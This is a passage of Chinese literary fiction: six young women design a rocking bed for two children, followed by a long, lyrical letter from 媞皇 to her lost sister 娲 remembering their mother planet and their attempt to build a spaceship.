“我那个,我妈妈画过图纸,我记得大概的样子,底座的弧度大概是这么高,我还记得那个图纸,藏在箱底,我去找找。” 媛宁: “我负责做垫子。娼部有最好的软绒草,填进去软软的,软绒草是从北边冰窟窿边上采的,又软又暖,一床垫子能用二十年。” 妡霓: “还要有灯。嫫猛那边有光菌,做两个小灯挂在床头,晚上她们一睁眼就能看见光就不害怕了,那种菌可以亮一辈子,不用换。” 媛衡: “我去找孟光,她肯定愿意帮忙。她上次还说要给两个小的做灯,她说,灯要做成星星形状,一颗紫色,一颗蓝色,这样她们晚上就能看见星星在床头。” 媛宁: “我们的床也是妈妈们这样给我们做的吧?” 妡虹: “嗯,我的是妈妈们连夜做的,我醒来看见新床,高兴得跳上去,结果摔下来了,她们笑得不行。” 妡霄: “我妈妈做的时候我就在旁边看着,她量尺寸,锯木头,磨边边,我记得那个声音,沙沙沙的,听着听着就睡着了,醒来的时候,床已经做好了,她坐在床边,看着我…” 媛宁: “我妈妈做的时候我在旁边睡着了,醒来的时候床已经做好了,她坐在床边看着我,我问她怎么不叫我?她说叫妳干什么?妳睡得那么香。” 媛青: “那时候我不懂,现在懂了。” 妡虹: “懂了什么?” 媛宁: “懂了她们做的时候在想什么。” 媛青: “在想什么?” 媛宁: “在想,这个床要够结实,晃很多年,要够舒服,让孩子好好睡,要够好看,让孩子一睁眼就高兴。在想,孩子会大,床会变旧,但孩子记得这个床,记得被晃的感觉,记得妈妈们的脸…” 媛衡: “那我们现在就去画图纸?” 妡虹: “现在?” 媛青: “嗯,反正也睡不着,一会还得去找昭佩喝酒呢。” 妡霓: “我去拿纸。” 妡霄: “我去拿木头样品。” 媛宁: “我去量尺寸。” 媛衡: “我去想怎么装灯。” (六人轻手轻脚退出房间,门轻轻关上,屋里只剩下两个孩子睡得正香,月光从窗户洒进来,照在她们脸上。隔壁房间灯亮着,六人围坐在一起,有人画图,有人量尺寸,有人讨论用什么木头,声音很轻怕吵醒孩子,偶尔有笑声又赶紧压下去) 媛宁: “这里,底座要再宽一点,这样晃起来更稳,宽了不会倒。” 妡虹: “我那个底座是这么宽的,我妈妈画的图我还记得,她画图的时候我在旁边看,她说,底座要宽,晃起来才稳,太窄了会翻。” 媛青: “木头要多厚?” 妡霄: “三指厚。” 妡霓: “灯挂在这儿,她们一睁眼就能看见。” 媛衡: “我去找嫫猛,让她做两个颜色不一样的,一个紫色一个蓝色。紫色给霞雀,她喜欢紫色,蓝色给雪清,她喜欢蓝色。” 媛宁: “雪清喜欢蓝色?” 媛衡: “她喜欢天那个颜色。她说过天的颜色最好看,早上天的蓝,中午天的蓝,傍晚天的蓝,都不一样。她最喜欢傍晚的蓝,说像媞皇的眼睛。” 妡虹: “ 霞雀喜欢紫色,她说紫色好看,像天上的云。” 媛宁: “ 她们明天醒来看见新床,不知道多高兴呢。” 妡虹: “肯定要跳上去。” 妡霓: “然后摔下来。” 妡霄: “没事,摔摔就长大了。” 媛衡: “我们小时候也摔过。” 媛青: “摔过了就知道床是干什么的了。” 10. 第十幕 [场景:无尽虚空的某处,时间失去意义。媞皇独坐于飘浮星骸之上,周围是尚未成型的混沌,她手中握着一支用自己肋骨磨成的笔,面前铺着一张用自己皮肤鞣制的纸,她开始写信。] “娲。 这是最后一封信了。写完了我就走了,不是往哪儿走,是走,一直走,走到走不动为止。妳教我的,妳指着那颗星星说,姐姐,以后我们去那儿吧,我说好,妳说去了那儿再想去哪儿,我说不知道,妳说那就一直走吧,走到走不动为止。 我还没走到走不动,我的骨头碎了,可我还在走还在找,我在找妳,也在找自己。 三千年前我们走散的那天,妳回头看了我一眼,那一眼我现在还留着,压在舌头底下,压得我整条舌头都是烫的,每次我想说话,那烫就先涌出来,涌得我什么都说不出,所以我三千年没说话,我用这三千年来写这封信,写给妳,也写给那些从我的肉里长出来的东西,她们会替我找妳,也会替她们自己找自己。 这封信会很长,长到我的骨都写完了,长到我的血流干了,长到那些字一个一个从纸上站起来,自己走路,自己找妳,它们会走到妳睡着的地方,会趴在妳耳边,会把这些话一句一句念给妳听。 妳睡着的时候,会梦见我吗?会梦见那个下午吗?会梦见那块冰吗?会梦见我蹲在妳旁边给妳吹伤口吗?我不知道,可我知道,我写这封信的时候,妳在我心里,妳在,妳一直在。 等我写完这封信,我就把这些字撒出去,撒成星星,撒成那些从我的肉里长出来的东西可以看见的光,她们抬头看天的时候会看见那些字在闪,她们不知道那是什么,可她们会觉得好看,觉得好看的那一下,就是我。 是我在告诉妳,娲,我还在写,还在找,还在等,等妳醒来。 娲。 我想跟妳讲母星,讲那些妳记得的、妳可能忘了的、妳从来不知道的,讲完了,妳就知道我从哪儿来,妳从哪儿来,我们是从哪颗骨头哪个缝里钻出来的。 母星的天是莱海最深处那些石头泡了三万年之后透出来的那种灰,那种灰里沉着一种紫,沉在最底下要看好久才能看出来,像妳睡着的时候,眼皮底下那根细细血脉,要凑很近才能看见它在跳。那种灰我后来在哪儿都没见过,别的星球的天是蓝的,是红的,是黑的,可没有一个是那种灰,那灰里有凉,盯着看久了,那凉会从眼睛里渗进去,渗到后脑勺,渗到那块妳撞过我的地方,然后那块骨头就会痒一下,痒得像妳又在用呼吸喷我。 母星的地是纠果摔烂之后渗进石头里渗了三万年才渗出来的那种紫,那种紫里有细细金线,是那些发光虫子死后留下的,它们死在那些石头上,尸体烂了,可光还留在那儿,一丝一纠的,像用最细的笔在上面画。我们光着脚在上面走,脚底板被那些金线烫得痒痒的,妳每次走在上面都笑说它们在挠我脚心,我说谁在挠,妳说那些光,我说光不会挠,妳说会,我仔细感觉,真的痒,痒得我脚趾头都蜷起来了。那时候我不知道,那些光是我以后要变成的东西,它们死了可它们的光还在,我死了我的光也会在,在那些从我的肉里长出来的东西脚底下,在她们走路的时候痒她们一下。 我们住的那个室寸,是灰石头砌的。那些石头从莱海底下捞上来,每一块都沉得两个人抬不动,捞石头的人要潜到最底下,用绳子捆住石头,上面的人再一起拉,拉一块石头要三天,拉上来之后石头上的海水慢慢渗出来,渗七天七夜,渗干石头就变轻了,可那些海水的味道渗进石头里,渗进气孔里,再也出不来,所以宫殿的墙是有味道的,咸腥的,凉凉的,妳小时候喜欢趴在墙上闻,妳说姐姐,墙在呼吸。我后来在很多地方闻过墙,那些墙是用别的石头砌的,没有那种味道,可每次我闻到潮湿的东西还是会想起那堵墙,想起妳趴在墙上,鼻子贴着石头,深深吸一口气然后回头对我笑,妳说姐姐妳闻,墙在说梦话,我凑过去什么都没闻出来,妳说墙说的话只有小孩听得见,那年妳七云我九云,原来那个时候我就已经老了。我有时候想,那堵墙现在还在吗,还在那儿等着吗,还在说那句我等妳们很久了吗。它等不到了,我们不会回去了,可它那句话还在,在我心里,在我每一次想起母星的时候那句话就会从心里浮起来,我等了妳们很久了,娲,我等妳很久了。 屋顶是铺的那些泱方是莱海最浅的地方捞的,被太阳晒了三万年,晒得又干又烫,白天不能上去因为烫脚,晚上太阳落下去那些石板开始凉。我们等姆母们睡着了偷偷爬上去,爬到一半的时候石板还是温的,爬到顶的时候已经凉了,凉得刚刚好,躺上去后背酥酥的,妳每次都先躺上去,滚两圈然后喊我,姐姐,妳快来,这儿凉快,我躺过去,妳的手就伸过来抓住我的手,妳的手心烫的,那些凉从后背渗进来,从妳的手心热出去,一凉一热,在我身体里打架,打着打着,我就睡着了。睡着之前,我听见妳的呼吸,妳的呼吸是烫的,喷在我脖子上烧得很慢,天亮的时候一团火还溢着。那些年我们就是这样睡的,每天晚上都在一起,每天晚上妳的呼吸都烫着我,我以为会一直这样,后来我们飞走了,后来我们走散了,后来我睡过很多地方,睡过石头,睡过冰,睡过虚空里那些什么都没有的地方,可再也没有一个地方,能让我睡着之前听见妳的呼吸,再也没有一团火能在我脖子上烧一整夜,妳的呼吸是烫的,我是冷的,只有妳在的时候,我才热。 娲,妳还记得室寸里那些角落吗? 东边那条走廊,墙上挂着一幅很大的画,画的是莱海最深处的样子,画里的人说,那是很久以前有人下去过,下去之前画了这幅画,下去之后就再也没上来,画上海水是黑的,可黑里有很多亮的东西,是那些发光的鱼,发光的石头,发光的不知道什么东西,妳每次路过那幅画,都要停下来看,妳姐姐底下好亮,我说嗯,妳说我们以后也下去看看,我说好。后来我们没下去,我们往上飞了,飞到天上去,飞到星星上去,飞到那些比莱海更深的地方去,可那幅画我一直记得,记得那些黑里的亮,记得妳站在画前面仰着头眼睛也跟着亮起来的样子。 西边那个院子种着一种叫不出名字的树,那树一年只开一次花,花开的时候满院子都是那种味道,是涩涩苦苦的味道,妳每次闻到那个味道就会打喷嚏,打完妳就揉揉鼻子说姐姐这树欺负我,我说它怎么欺负妳,妳说它让我打喷嚏,我说打喷嚏是好事把脏东西打出去,妳说那妳怎么不打,我说我鼻子不痒,妳说妳鼻子怎么不痒,我说我老了,闻不见那个味道了。后来我真的老了,老得连那个味道都想不起来了,可我还记得妳打喷嚏的样子,记得妳揉鼻子的那只手。 北边那间屋子,是我们藏东西的地方。偷来纠果,捡来石头,那些姆母们不让我们玩的东西,我们都藏在里面,妳每次藏完都要用粉笔在门上画一个记号,一个圆圈里面点一个点,妳说那是我们的暗号只有我们俩看得懂,我问妳那是什么意思,妳说是我们来过的地方。后来那些记号越来越多,多到整个门上都画满了,多到后来我们都找不到门原来的颜色了,我们走了以后那扇门还在吗,那个记号还在吗,还在的话替我看看它,看看那个圆圈圆不圆那个点点得正不正,那是我和妳,那个圆圈是妳,那个点是我,我们在一起。 娲。 我记得那三个女人。第一个住在室寸里最高的那一层,她坐在窗边,手里拿书,她只说来了,我说来了,她说坐,我就坐在地上,我不敢动,因为她看书的时候不喜欢别人动,她看的书很厚,那些字我认识的不多,可我知道那都是很重要的东西,是关于星星的,关于时间的,关于那些我们从哪儿来要到哪儿去的问题,她看完了就把书合上看着我,她说今天讲什么,我说不知道,她说那就讲妳不知道的东西,然后她就开始讲,讲那些我听不懂的东西,讲得我头都大了,她还是讲,讲到我眼睛开始打架,她还是讲,讲到我靠在她腿上睡着了,她才停下来,醒来的时候我已经躺在床上了,她坐在旁边还在看书,光已经换成了灯,我看着她,想她从前的时候是什么样子,是不是也像我一样,坐在谁的腿边听谁讲那些听不懂的东西,后来我问出声,她笑说跟我一样。 第二个住在室寸院子里,院子种满了各种各样的草和花,都是能吃的能治病的能让人睡着了做好梦的,她整天在院子里忙,浇水拔草移虫施料…我最喜欢看她做东西,把那些花啊草啊放在一起,她做的时候嘴里会哼歌,哼着哼着那些东西就好了,她把做好的东西递给我说吃了,我吃完之后,身体里暖暖的,什么都不怕了。有一次我问她做的这些东西是从哪儿学来的,她说从她姆母那里,我说那妳姆母从哪儿学来的,她说从她姆母那里,我说那第一个姆母从哪儿学来的,她说是从那些花和草自己那里,它们告诉她的,我说它们会说话吗,她说用心听就能听见,我后来用心听过,真的听见了,那些花和草在说话,说它们渴了,说它们饿了,说它们想让谁把它们摘走,做成能让人暖起来的东西。 第三个大部分时间不在室寸里,她常在莱海边最高的那块石头上站着,风吹日晒一直站在那儿,她说她站那儿,海那边要是有什么东西过来她能第一个看见,那块石头我爬过,很滑很陡爬上去要半天,可她就站在上面一动不动,我爬上去看她,她也不理我就看着海那边,我问她在看什么,她说看有没有东西过来,我说有什么东西会过来,她说不知道就是看,后来我也站在她旁边看,只有那些浪一个接一个地打过来,打过来退回去退回去打过来,我说姆母什么都没有,她说没有就好,没有的时候就是平安的时候,我说那有东西的时候呢,她说有东西的时候就不平安了,我说那有东西来过吗,她说来过一次,那时候人还年轻,那东西从海那边过来死了很多人,我问后来呢,她说后来那东西走了可它还会回来,我说什么时候,她说不知道所以要一直看着。后来我飞走的那天她也站在那,她没喊我们,没拦我们,船飞起来的时候,我回头看了一眼,她还站在那儿,一个小小的点,站在最高的那块石头上,那个点在我眼睛里,留了三千年。 娲,妳的姆母我也记得。第一个住在北边,那屋子只有一扇窗户,窗户很大,从早到晚都有光,墙上挂满了她画的画,画的是莱海,画的是落日崖,画的是夜连花,她的颜料是自己做的,用石磨的粉,用花榨的汁,用从海边捡来的贝壳烧成的灰,她画的花会发光,夜里看的时候花瓣边缘有一圈淡晕,是月光腌过之后渗出来的一种亮,妳最喜欢趴在她腿上看她画,看着看着眼睛就小了,小了就睡着了,她继续画,画妳的脸,画妳趴在腿上呼吸均匀的样子,那些画后来挂在她屋子里挂了很久,我们走的那天,她手里还拿着画笔。第二个住在东边,她院子里有很多罐子,大大小小摆了一地,她用果酿酒用花酿蜜用草酿药,有次我问妳,妳姆母酿的东西好喝吗,妳说好喝,我问什么味道,妳想了想说是姆母的味道,我问姆母什么味道,妳说就是姆母的味道说不出来的,后来我懂了,姆母的味道就是让妳一闻就知道安全了的味道,就是让妳闭着眼睛也知道她在哪儿的味道,就是妳走了很远很远还是会想起来的味道。后来我们飞走了,妳回头看她还站在那儿,妳喊了一声姆母她没应,妳喊第二声她还是没应,妳喊第三声她转过身冲妳挥了挥手,妳在我怀里哭了很久,妳问姐姐我以后还能见到她吗,我说能,妳问什么时候,我说等妳回来的时候,妳问还会回来吗,我说会的,妳抬头看我问我怎么知道,我说因为我也要回来,我们都没回去。 娲。 莱海,那片海我们从小看到大,灰蓝色水看不见底,浪打上来的时候是白的,退下去的时候是灰的,有时候浪里会带着光,是那些发光的鱼被浪卷上来了,那些鱼鳞是银色的,夜里会发光,挂在屋檐下能亮一整夜,姆母们每年汛期的时候去捞,捞上来晒干,挂在屋檐下,整个巷子都亮了。 妳小时候怕黑,每次夜里起来都要我陪妳去,我就牵着妳的手走过那些挂满光鱼的巷子,那些鱼的光照在脸上,妳说姐姐,它们死了还发光,我说嗯,妳问那我们死了也会发光吗,我说会,妳问那光会是什么颜色,我答紫色,纠果那种紫,妳说好,紫色好看。 海边全是石头,大大小小圆圆滑滑,我们小时候光着脚在上面走,妳踩着那些石头跳来跳去,一边跳一边叫,我跟在后面,看妳的脚在石头上踩出一个个白印子,那些白印子很快就没了,石头又变回灰色。有种石头是软的,踩上去会陷下去一点点,抬起来又弹回来,妳最喜欢踩那种石头,踩一脚蹲下去看半天,妳问姐姐它是不是活的,我答不知道,后来我们就不踩那种石头了,绕着走,走远了妳还回头看,看它有没有跟着我们,但它就蹲在那儿,等下一个踩它的人。我后来踩过很多石头,硬的软的,烫的凉的,没有一个会弹回来,没有一个会让我蹲下去看半天,因为它们都不是那块石头,那块石头在母星上,在莱海边,在那些我们走过的路上,它还在等下一个踩它的人,那个人不会是我了,也不会是妳了。可我还记得它,记得妳蹲在它旁边用手摸它问它疼吗,它不回答,可妳替它回答,妳说,它不疼,它只是痒。痒,妳那时候就会说痒了,后来我痒了三千年,痒得我以为妳还在我后颈那块骨头里住着,痒得我每次摸那块骨头都以为能摸到妳的脸。我在虚空里划了很多道口子,每一道都是我找妳的路,那些口子不会愈合会一直开着,里面没有水只有黑,黑得看不见自己,可我知道那些口子还在,它们替我记着我来过这儿,我在这儿找过一个人没找到,娲,那道海沟还在,还在莱海深处,还在那儿咸着,还在那儿等着,等妳回去,等我回去,等我们一起去看看那道用眼泪划出来的口子,可我们回不去了。 娲。 纠果,莱海源头有一棵树,树皮是黑的,叶子是蓝的,果子是紫的,果子熟了会自己往下掉,掉在地上啪的一声,摔成一滩紫水,姆母们说不能吃,吃了会做噩梦。我们不信偷偷去摘,树上滑得很,妳仰着头看那些果子说姐姐咱们摘那个最大的,妳爬得很快,脚踩着树枝,手抓着树干,我说慢点,妳说快了才能摘到最大的,爬到一半妳脚底打滑,我伸手接妳,接住妳没接住我自己,我摔在地上妳摔在我身上,妳的额角撞在我后颈,妳趴在我身上,愣了一会儿然后开始哭,妳的眼泪顺着我的脖子流下去,流到后背上,流到那块被撞的地方,凉的痒的,我翻过身来抱着妳,我说没事没事姐在呢,妳说疼,我问哪儿疼,妳指着额角我凑过去吹,妳满脸眼泪地笑了,妳说姐妳真好看,我说妳才好看,妳说我们俩都好看。后来淤青消了,那块骨头上留了一小块疤,疤是淡金色的,夜里痒的时候我就想,这是妳,妳在我身上。 后来我们偷偷跑去莱海边找那些摔烂的果子,紫水渗进石头缝里,把石头都染紫了,妳蹲在那儿,用手指蘸上一点紫水放进嘴里舔了舔,妳说有点甜有点苦还有点涩,我蹲下来也蘸了一点,从那以后,每年纠果熟的时候我们都去摘,不摘来吃,只摘来摔,摔得满地紫水然后蹲在那儿舔,舔完互相看着笑,笑得满脸都是紫色,姆母们说随她们去吧,我们疯得以为可以一直这样疯下去,疯得以为纠果会一直熟,我们会一直年轻,那些紫色会一直在我们脸上。 后来我们飞走了,后来纠果还在那里熟摔还在那里把石头染紫,可没有两个人去舔了,没有两个人笑得满脸都是紫色了。那个蹲在石头旁边用手指蘸紫水的人不在了,那个站在旁边看着那个人舔然后也蹲下来蘸的人也不在了,只有那些紫色还在,在石头上,在我眼睛里,在我舌头底下,甜苦涩,还有说不出来的东西,说不出来的东西,是妳。 娲。 莱海边有一种花,只在夜里开,姆母们叫它夜连,它开的声音像是有人用指甲在瓷胎上划,划着划着瓷胎就透了,透出里头那点火,那火是红的,能把月光腌成腊,月光照在花瓣上,花瓣把月光腌进去,腌久了就变得烫眼睛。妳最喜欢那种花,每年花开的时候妳都拉着我去看,天一黑我们就去躺在花丛里等,等它们一朵一朵冒出来,从石头缝里,从沙子里,从那些看不见的地方…它冒出来的时候是能把月光吸进去的黄,月光照在花瓣上,花瓣就把月光吃了,吃了之后变得更黄,黄得发亮,亮得烫眼。妳躺在花丛里,让我把花一朵一朵摘下来放在妳身上,放满一身的黄妳就笑着站起来,一抖那些花就掉了,掉的时候还没开始变色,妳说姐姐它们还没哭,我说嗯,妳说那让它们多哭一会儿,我们躺在花丛里看那些花开,看着看着它们开始变,从黄变白从白变紫从紫变透,透的时候花瓣薄得能看见后面月光,月光透过花瓣漏下来,漏在地上,那些影子也是透的,妳说姐姐它们哭完了,我说嗯,妳说它们去哪儿了,我说不知道,妳问明年还会开吗,我说会,妳说那还是它们吗,我说不出话,妳翻身趴在我旁边看着我的脸,月光底下,妳的眼睛透得像那些花瓣,我在里面看到了我自己,妳问姐姐我们死了以后也会变成花吗,我说会,妳问那我们还认得彼此吗,我答会我在哪儿都能认出妳。后来那些花谢了,谢的时候有种声音,那是叹,叹着叹着花瓣就落成一层细粉,那粉被风卷起来,飘得到处都是,飘到眼睛里,眼睛就酸,酸得像有什么东西要从那儿流出来,我眼睛里进了粉,妳看着我说姐姐妳哭了,我说没哭是粉,妳没再问妳只是把头靠过来,我说嗯,妳说我们明年还来,我说好。 我们去了很多年,每年花开的时候都去,去得久了那些花也认识我们了,一去它们就开得更快,开得更透,透得能看见里头一点还没腌完的月光,妳说它们也喜欢我们,我们走了以后它们会不会想我们,我说会。后来我见过很多花,红的白的紫的金的,可没有一种像夜连,夜连花还在吗?还在莱海边开着吗?还在等两个丫头去看它们吗?它们等不到了,可它们的粉还在我眼睛里,每次我揉眼睛那些粉就痒一下,痒得我以为妳还在旁边,是粉,是妳在粉里。 娲。 母星上有一个地方叫渊,姆母们说,每个人都是从那儿来的,两个女人站在渊水边,令血肉流进去。血流进去之后渊就开始动,转着圈转,转着转着就从中间冒出一个泡泡,泡泡越来越大,大到有拳头那么大,啪的一声破了,里面有一个小小的人,那就是我们。 小时候我问姆母,供我的人是谁,姆母说是两个很厉害的女人,我说她们为什么不要我,姆母说,不是不要妳,是她们有她们的事要做,妳长大了也会有妳的事要做,我懂了,她们是在创造,创造就是活着的意思,我也是她们创造出来的,创造完了就该走了。 妳问过我同样的问题,妳问姐姐供我的人是谁,我答是两个很厉害的女人,一个会站在最高的地方看有没有东西从外面来,一个会修那些保护我们的墙,妳问她们为什么不来看妳,我说她们在做事,妳说‘那一定是很快乐的事,我以后也要做事,做很多很多事。’我们拉了钩,那根小指的温度是凉凉的烫,我到现在还记得,那根小指后来远了,远得我伸手也够不着,分神也忆不起,可那个温度还在,凉凉的烫,在我心里最里面,在那个谁也够不着的地方。每次我冷的时候,就把那个温度拿出来,贴在自己胸口,贴一会儿就不冷了,因为那是妳的,妳给过我的东西,谁也拿不走。 渊水还在吗?还在那儿冒着热气吗?还在那儿转着圈,等着两个女人站到它旁边,令血流进去吗?它等的人不是我们了,我们不会回去了。可它还在那儿转,转了十几万年,转得那些泡泡一个一个冒出来,一个一个破开,一个一个变成小小的人,那些人从渊水里出来,被抱走,被养大,然后也去做事,去做她们自己的创造。她们不知道渊水是谁造的,不知道第一个泡泡是怎么冒出来的,不知道那些血是从谁的手腕里流出来的。可她们知道,她们从那儿来,从那个暖的、冒着热气的地方来。我也从那来,妳也是,我们从同一个地方来,现在在不同的地方,可那个地方还在,还在我们心里,还在我们缝里,暖的,冒着热气的,等着我们回去。 娲。 母星西边有一道悬崖,叫落日崖,站在崖上,能看见太阳落进海里。那海不是莱海,是另一片海,水是金色的,日落的时候整个海面都在燃烧,烧成红的,紫的,金的,一层一层地烧,烧到天边,烧到不见。 我们每年去一次落日崖,是跟着姆母们去祭祀。祭祀什么,我们不知道,只知道每年那一天,姆母们会穿上最隆重的衣服,带上最好的供品,走到崖边,对着落日跪下,念一些听不懂的话,念完就把供品扔进海里,供品在海面上漂一会儿然后沉下去,沉下去的时候会冒出一串气泡。我们不喜欢祭祀,太长太闷了,可我们喜欢落日,喜欢站在崖边,看那个大火球一点一点往下掉,掉到海面上把整个海都点着,那火不烫人,只看得人心里发热,妳站在我旁边,抓着我的袖子,抓得紧紧的,妳问姐姐妳说太阳掉进海里会灭吗?我说不会明天它会从东边再升起来,妳问那它每天掉一次不累吗?我说累也要掉,妳问为什么,我答因为掉了才会再升,妳问姐姐我们也会这样吗?我问什么样,妳说掉了再升,我不知道怎么回答,我抱着妳看着那个太阳一点一点沉下去,最后一丝光灭掉的时候天黑了,星星一颗一颗地亮起来,像有人在看不见的地方,一颗一颗地点灯。妳在我怀里睡着了,我抱着妳站在那儿,我想就这样站着也好,一直站着,不掉下去也不用再升起来,可也知道我们迟早要掉,我们掉了,掉进了虚空里,掉进了那些找也找不到的地方,掉得比太阳还深比海还黑。可我还在等,等那个再升起来的时候,等妳从东边升起来的时候,等妳站在我面前问我累不累,我会说累,可妳回来,我就不累了。娲。妳知道吗?那个落日崖还在,还在那儿等着太阳每天掉下去,还在那儿看着那些浪打过来打过去,还在那儿吹着那些海风送了几万年。它等的人不是我们了,可它还在等,等什么,等那些穿着最隆重的衣服的人,等那些念着听不懂的话的人,等那些把供品扔进海里的人,那些人还会去的,每年都去,一代一代地去,可我们不会去了,我们掉得太远了。 娲。 母星上有一个市集,一个月开一次。开市的那天,从四面八方来的人挤在一条街上卖各种各样的东西,有从莱海捞来的大条岩鱼,有从山里拾来的彩色兽皮,有从天上落下的遇鸟羽毛……我们最喜欢去市集,妳每次都拉着我的手从街头走到街尾再从街尾走回街头,有回妳看中了一个小泥人,那泥人捏的是一个女孩,雌壮威猛的身姿金枝振风的面孔,妳站在那个摊子前面看了很久,后来我开始缄泉,再拉着妳去,那个摊子不在了,那个小泥人也不在了,那天回去的路上,妳一直拉着我的手,妳的手心很热,热得我整个手都在出汗,可妳没松开,我也没松开。后来我再也没在市集上见过那个小泥人,可每次开市我都会在那些摊子前面找,找了很久,找了很多年,找到我们离开母星的那天也没找到。离开之前,妳突然说姐姐那个小泥人我后来见过,我问在哪儿,妳说在梦里它活了会走路会说话,后来我也梦见那个小泥人,它说它在等妳,我问它在哪儿等,它说在那些妳找过的地方等,在那些妳还没找过的地方等,在那些妳永远找不到的地方等,我醒来的时候,眼睛里有东西在闪,那是妳,是妳在我眼睛里闪。那个小泥人还在吗?还在哪个人的梦里活着吗?还在等那两个女孩去买它吗?它等不到了,可它还在我梦里,还在那些找不到的地方等我们回去。 娲。 堆房在地下,要穿过十七条走廊,那些走廊是弯的,弯得每一道拐角都像被什么东西咬过一口,那牙印还新鲜,还往外渗着黑,走廊两边的灯烧了几百年,灯焰是蓝的,蓝得发白,白得发冷,冷不是温度,是颜色本身在冷,妳走在前面,妳的影子被那种冷照着,拖得很长,长到影子尖儿伸进黑暗里,伸进去就再也拔不出来。 我们花了半年,把那些守卫的脚步量熟。守卫有三十七个,不对,是三十二个,我数了三千年还是没数清,她们的脸是一样的,走路姿势是一样的,打哈欠时张嘴角度是一样的,只有睡着的那一个不一样,她睡着的时候呼噜声会从嗓子眼里往外滚,滚得满地都是,滚到走廊拐角那儿撞上墙,弹到我们脚底下震得脚心发麻,那麻会顺着骨头往上走,走到膝盖,走到腰,走到后颈,走到那第块骨头,妳撞过的那块。 半刻钟的空当。那半刻钟里那些守卫从岗位上撤下来往另一个方向走,她们的脚步声远了然后整条走廊就空了,空得只剩那些□□和灯焰烧出来的声响,声响从里面长出来,从骨头缝里长出来,从耳朵眼里长出去,长出去之后就不回来,在外面飘着,等着我们走过去撞上它。我们走过去的时候那些声响会钻进皮肤里,钻进去之后就不出来,在皮肤底下爬,爬到哪儿痒到哪儿,妳走在前面,妳的后颈露着,那些声响爬到妳的后颈上就红了一小块,红得发紫,紫得发黑,黑得发亮,我看着那一小块红,心想,那是我要带走的东西。 矿石在最里面那个架子上最下面那一层,一块有我们半个身子那么大,妳蹲下去抱不动,我蹲下去也抱不动,我们俩一起抱勉强能抬起来,抬起来的时候,妳的脸憋得通红,妳咬着牙,从牙缝里往外挤字,挤那些骂人的话,骂那些守卫骂那些矿石,骂完又笑我们俩个傻子偷这些没用的东西。妳笑的时候,那些骂人的话还在牙缝里没挤完,挤到一半就变成了笑,笑从嗓子眼里往外拱,拱得妳脸更红,妳一边笑一边说姐姐我们真傻偷这些东西干什么,我答怎么没用造船用啊,妳问造好了真能飞吗,我答图纸上说是能,妳说图纸上还说能飞到星星上,妳停下来看着那块矿石。我们正抬着它走过一条走廊,走廊顶上有一道缝,那道缝是封死的可月光还是漏下来了,光底下矿石发着光,渗出来之后就不回去,在外面飘着,飘到妳脸上,妳的脸就被染紫了。妳的脸被那光照着,半边紫半边黑,紫的那半边,妳眼睛里比矿石还亮,我看着那半边脸,心想,这就是我要带走的人。 妳问姐姐我们真的要去星星上吗?我答妳不是一直想去,妳回是想去可又怕,我问怕什么,妳说怕飞不上去掉下来,怕飞上去了下不来,怕我们俩走散找不到彼此。我放下矿石妳也放下,我抱着妳,妳的背贴着我的胸,妳的心跳贴着我的肋骨,咚咚咚跳得快,快得要从皮肤底下跳出来,我用手捂住那块地方,想把它捂回去。可它还在跳,跳得我的手心都在颤,那颤会顺着骨头往上走,走到肩膀,走到脖子,走到耳朵里,我听见了,心想,这是活着的声音。 娲。 后来我们被抓住了,不是抓偷矿石,是抓造飞船。有人告密不知是谁,可能是那些守卫,她们的血是冷的,冷得舌头都僵。可能是那些工坊的人,她们的手是凉的,凉得骨头都疼。也可能是那些每天在宫殿里走来走去我们叫不出名字的人,她们没有名字,只有影子,影子在地上爬,爬得满殿都是。 那天我们正在洞里干活,妳手里拿着一块矿石正要往架子上放,那块矿石发着紫光,妳眯着眼睛看着那块矿石说姐姐这块比昨天那块重,我问重多少,妳答一点点,就在妳刚要放下的时候洞口外面突然亮了。那亮不是月光,月光是冷的,这个是烫的,烫得发红,红得发黄,黄得发白,白得刺眼,刺得眼睛疼到一些泪往外涌,涌出来就被烫干成一小粒一小粒的盐,挂在睫毛上。那些火把的光从洞口涌得满洞都是,涌到那些矿石上矿石的光就灭了,灭了之后只剩那些火把光烧着,烧得那些石头都在抖,抖得那些灰都飞起来,飞得满洞都是。那些人在喊,喊我们的名字,让我们出去,那些喊声撞在洞壁上,弹回来再撞上去再弹回来,弹到最后满洞都是那些声音,挤得我们站都站不稳,我拉着妳说快跑,我们从洞后门跑出去,妳进去我跟着,洞壁上有什么东西爬过我的手,凉凉滑滑,我顾不上那些只是往前摸,我们爬得满手是血,爬上去之后我们站在悬崖顶上看着下面那些火把,火把的光照得整片悬崖都是亮的,那些人在喊在叫在往悬崖上爬,火把的光在晃,晃得那些人的影子也在晃,晃得那些喊声也在晃,晃到最后什么都看不清了,妳问怎么办,我说跳,妳问跳哪儿,我答海里。妳往下看,悬崖下面是菜海,黑漆漆看不见底,只能听见海浪的声音,哗哗的,像有什么东西在底下等着,我们手拉着手,一起跳下去。掉下去的那一瞬间只能感觉到妳的手在我手里攥得紧紧的,紧得骨头都在响,那些骨头响的声音从手上传过来,顺着胳膊往上走,走到肩膀,走到脖子,走到心里,我听见了,心想,这是妳最后的声音吗?心想,如果摔死了,我们是不是就不会走散了。 后来我们没死,浮上来的时候我们躺在海面上看着头顶星星,妳喘着气问姐姐我们飞了吗?我答没有我们在海里。我们漂了很久,久到火灭了,久到人散了,久到天亮了。天亮的时候我们漂到一片沙滩上,妳说姐姐我们逃出来了,我说嗯,妳问那些矿石呢?我答没了,妳问那船呢?我答没了。妳翻身坐起来看着我,妳的头发湿着贴在脸上,水从脸上往下流,流到下巴滴在沙上,一滴两滴三滴,每一滴滴下去沙子就黑一小块。妳问姐姐那我们还要不要走,我答要,妳说可什么都没了,我说那就再偷再偷三年,妳看着我的时候,眼睛里有两个小小的我,那两个小小的我站在那儿看着妳,妳说好。 娲。 